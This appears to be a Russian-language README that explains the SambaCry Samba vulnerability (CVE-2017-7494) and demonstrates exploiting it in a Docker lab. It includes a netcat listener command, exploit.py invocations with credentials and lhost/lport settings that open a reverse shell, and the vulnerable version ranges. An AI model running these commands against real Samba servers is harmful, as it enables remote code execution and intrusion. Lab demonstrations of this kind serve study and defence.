
SambaCry: объяснение и демонстрация эксплуатации
CVE-2017-7494/SambaCry позволяет аутентифицированным пользователям загружать общую библиотеку в доступную для записи папку и выполнять атаку с исполнением кода, используя загруженные библиотеки.
SambaCry — это уязвимость проверки путей в том, как Samba обрабатывает запросы к именованным каналам (named pipes). Обычно такие каналы используются для того, чтобы программы могли взаимодействовать друг с другом, читая и записывая данные через канал, подобный файловому.
Когда Samba получает неизвестное имя канала, уязвимые версии могут трактовать его как имя динамически загружаемого модуля.
Обычно такими модулями являются легитимные библиотеки .so, установленные администратором.
Уязвимость позволяет клиенту передавать абсолютный путь в файловой системе вместо обычного имени модуля или канала. Samba не ограничивает должным образом этот путь и может фактически выполнить: dlopen("/data/example.so", ...);.
Загрузка общей библиотеки выполняет её код инициализации. Поэтому злоумышленник, способный загрузить вредоносный файл .so в доступное для записи место, может затем заставить службу Samba загрузить его, что приведёт к удалённому выполнению кода.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Для запуска уже загруженной полезной нагрузки:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Используйте готовый docker-compose.yml для инициализации уязвимой лаборатории.
docker compose up -d
В лаборатории используется Samba 4.5.9, которая уязвима.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3